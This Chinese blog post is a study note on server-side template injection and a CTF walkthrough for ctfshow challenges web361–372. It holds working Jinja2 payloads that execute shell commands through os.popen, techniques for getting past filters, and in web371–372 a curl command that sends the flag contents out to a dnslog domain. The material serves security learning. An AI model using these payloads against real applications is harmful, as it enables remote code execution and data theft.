freeBuf
SSTI漏洞学习
2022-03-20 10:07:37
所属地 山东省

SSTI漏洞学习

1.漏洞成因

ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。

2.模板引擎

模板感觉就像是一个固定的方程,将数据套进去,就可以的到输入者想要的结果,模板使得数据与与界面分离,业务代码与逻辑代码的分离,能够大大提高开发效率。

模板只是一种提供用来解析数据的语法,能够让数据变成直观的视觉表现,其实现方法在前端和后端都有。即拿到数据,塞入模板,让渲染函数将塞进去的数据生成视觉表现,再返还给浏览器,提高效率。

一个小例子

<html>
<div>{$what}</div>
</html>

我们想要呈现在每个用户面前自己的名字。但是{$what}我们不知道用户名字是什么,用一些url或者cookie包含的信息,渲染到what变量里,呈现给用户的为

<html>
<div>张三</div>
</html>
3.服务器端模板注入

通过模板,我们输入的数据就会经过渲染转换成特定的html文件,比如页面上显示的 hello world,这个时候输出的内容可能就是通过服务器验证而返回的内容。

eg:

$output = $twig->render( $_GET[‘custom_username’] , array(“first_name” => $user.first_name) );

假如我们输入url:

127.0.0.1/?custom_username={{7*7}}

会返回49.

如果继续custom_username={{self}}

返回

f<templatereference none=""></templatereference>

在{{}}里,他将我们的代码进行了执行。服务器将我们的数据经过引擎解析的时候,进行了执行,模板注入与sql注入成因有点相似,都是信任了用户的输入,将不可靠的用户输入不经过滤直接进行了执行,用户插入了恶意代码同样也会执行。

4.ssti代码初学

在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。

我们在pycharm中运行代码

print("".__class__)

返回了<class 'str'>,对于一个空字符串他已经打印了str类型,在python中,每个类都有一个bases属性,列出其基类。现在我们写代码。

print("".__class__.__bases__)

打印返回(<class 'object'>,),我们已经找到了他的基类object,而我们想要寻找object类的不仅仅只有bases,同样可以使用mromro给出了method resolution order,即解析方法调用的顺序。我们实例打印一下mro。

print("".__class__.__mro__)

可以看到返回了(<class 'str'>, <class 'object'>),同样可以找到object类,正是由于这些但不仅限于这些方法,我们才有了各种沙箱逃逸的姿势。正如上面的解释,mro返回了解析方法调用的顺序,将会打印两个。在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法。我们这里只举例最简单的。接下来我们增加代码。接下来我们使用subclasses,subclasses() 这个方法,这个方法返回的是这个类的子类的集合,也就是object类的子类的集合。

print("".__class__.__bases__[0].__subclasses__())

我们需要找到合适的类,然后从合适的类中寻找我们需要的方法。通过大概猜测找到是第119个类,0也对应一个类,所以这里写[118]。

http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118]}}

这个时候我们便可以利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。

http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__}}

此时我们可以在网页上看到各种各样的参数方法函数。我们找其中一个可利用的function popen,在python2中可找file读取文件,

http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()}}
5.ctf绕过tips
1.过滤【】等括号

使用gititem绕过。如原poc {{"".class.bases[0]}}

绕过后{{"".class.bases.getitem(0)}}

2.过滤subclasses,拼凑法

原poc{{"".class.bases[0].subclasses()}}

绕过 {{"".class.bases[0]'subcla'+'sses'}}

3.过滤class,使用session

poc {{session['cla'+'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}

多个bases[0]是因为一直在向上找object类。使用mro就会很方便

{{session['__cla'+'ss__'].__mro__[12]}}

or

request['__cl'+'ass__'].__mro__[12]}}
6.一些语法作用
__base__ //对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法
 
__mro__ //同样可以获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到
 
__subclasses__() //继承此对象的子类,返回一个列表

魔术函数

__dict__类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里的对象的__dict__中存储了一些self.xxx的一些东西内置的数据类型没有__dict__属性每个类有自己的__dict__属性,就算存在继承关系,父类的__dict__ 并不会影响子类的__dict__对象也有自己的__dict__属性, 存储self.xxx 信息,父子类对象公用__dict__
 
__globals__该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。
 
__getattribute__()实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。

题目:
web 361

先输入**{{7*'7'}}**

回显为7777777,说明是Jinja2的模板

payloadL:

?name={{''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

挨个解释一下

1._ _ class _ _将空字符串转化为对象

2.利用_ _ mro_ _获取这个对象的基类,因为要拿object,在底层,所以要这个列表的__mro__[-1]倒数第一层

3.__subclasses__这里是继承该对象的子类,并返回一个列表,也就是我们的内建函数,至于为什么是132,我们可以看一下支持哪些模块,然后调用该模块下的函数

?name={{[].__class__.__base__.__subclasses__()}}    

有许多模块。

4.__init__实例化这个类

5.globals利用这个魔术变量调用os模块,因为132是os._wrap_close,这里引用了os`模块

6.调用os模块下的函数popen

7.调用read()函数读取文件

还有 lipsum and cycler

?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls').read()}}
  • 1647509170740.png
web362

跟上一题一样,用liplsum方法。

1.     ?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
2.     ?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}

第二种的 思路

调用内置的url_for函数,获取基类__builtins__,调用里面的eval方法,重铸os,模块,调用模块里面的popen命令执行函数查看flag,打开文件之后,利用read()获取回显

web363
过滤了引号

1.用request.args

先给一个payload

{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("cat /falg").read()}}

第一个引号的作用是什么,是为了引出基类,而任何数据结构都可以引出基类,所以这里可以直接使用数组代替,所以上述payload就变成了:

{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("cat /flag").read()}}

可以使用request.args来绕过此处引号的过滤。

request.args是flask中一个存储着请求参数以及其值的字典,我们可以像这样来引用他:

{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os

后面的所有引号都可以使用该方法进行绕过.

payload:

?name={{[].__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.args.os](request.args.cmd).read()}}&os=popen&cmd=cat /flag
?name={{[].__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.args.os](request.args.cmd).read()}}&os=popen&cmd=cat /f*

两种

web364
过滤了args,用cookie代替即可
?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}

Cookie:a=os;b=popen;c=cat /flag

1647676963935.png

web365
过滤了单双引号和【】

过滤中括号对我们影响最大的是什么,前边两个中括号都是为了从数组中取值,而后续的中括号实际是不必要的,globals["os"]可以替换为globals.os

?name={{url_for.__globals__.os.popen(request.cookies.a).read()}}

Cookie:a=cat /flag

跟上边差不多

上边也提过了,可以使用gititem来绕过

a[0]与a.getitem(0)的效果是一样的

?name={{lipsum.__globals__.__getitem__(request.cookies.a).popen(request.cookies.b).read()}}

Cookie:a=os;b=cat /flag

1647678432360.png

web366
过滤了‘ “ _ [] args

这里用attr方法:request|attr(request.cookies.a)等价于request[“a”]

payload:

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

Cookie:a=__globals__;b=cat /flag
web367
比上题多过滤了许多,测出来还有os

把os拉出来

?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}

Cookie:a=__globals__;b=os;c=cat /flag

1647679756520.png

web368
又多过滤了 {{ ,用{% %}来绕过
?name={% print(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read() %}

Cookie:a=__globals__;b=os;c=cat /flag
web369
过滤了requests

拿config来凑字符,_被ban了,所以__str__()用不了,这里拿string过滤器来得到config的字符串:config|string,但是获得字符串后本来应该用中括号或者__getitem__(),但是问题是_被ban了,所以获取字符串中的某个字符比较困难,这里转换成列表,再用列表的pop方法就可以成功得到某个字符了,

看了网上的博客:(https://blog.csdn.net/miuzzx/article/details/110220425)

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
{% set po=dict(po=a,p=a)|join%}  #通过dict()和join构造pop

{% set a=(()|select|string|list)|attr(po)(24)%} #a等价于下划线

{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}  #通过拼接得到__init__
#glo、geti、built同理
#再往后,调用chr,构造/flag,读取文件

1647681844249.png

web370
过滤了数字

将数字转化成全角数字,脚本

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
while 1:
    t = ''
    s = input("输入想要转换的数字字符串:")
    for i in s:
        t += half2full(i)
    print(t)

payload:

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

web371
过滤了print

使用dnslog外带,然后为了简单绕过数字,生成的dnslog链接不要有数字

?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%}{%set k=dict(eeeeeeeee=a)|join|count%}{%set l=dict(eeeeeeee=a)|join|count%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|count%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(tgmmmm=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}ataoyyds{%endif%}
web372
过滤了count,用length来代替count
?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%}{%set k=dict(eeeeeeeee=a)|join|length%}{%set l=dict(eeeeeeee=a)|join|length%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(xsbxxp=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}ataoyyds{%endif%}

END:

1.过滤了引号,用【】或args

2.过滤了args,用cookie

3.过滤了单双引号和【】,用gititem

4.过滤了_ ,用attr方法

5.过滤了os,将os拉出来即可

6.过滤了{{,用{% %}

7.过滤了request,用字符拼接的方法

8.过滤了数字,将数字转化为半角

9.过滤了print/count, 拼接字符。

ssti比较基础的一部分,下周开始学别的漏洞。

参考链接:

1.web362 – 365 – 技术小白的成长之路 (crilwa.asia)

2.(14条消息) ctfshow SSTI web361-web372 wp_是Mumuzi的博客-CSDN博客

3.Python模板注入(SSTI)深入学习 - 先知社区 (aliyun.com)

本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏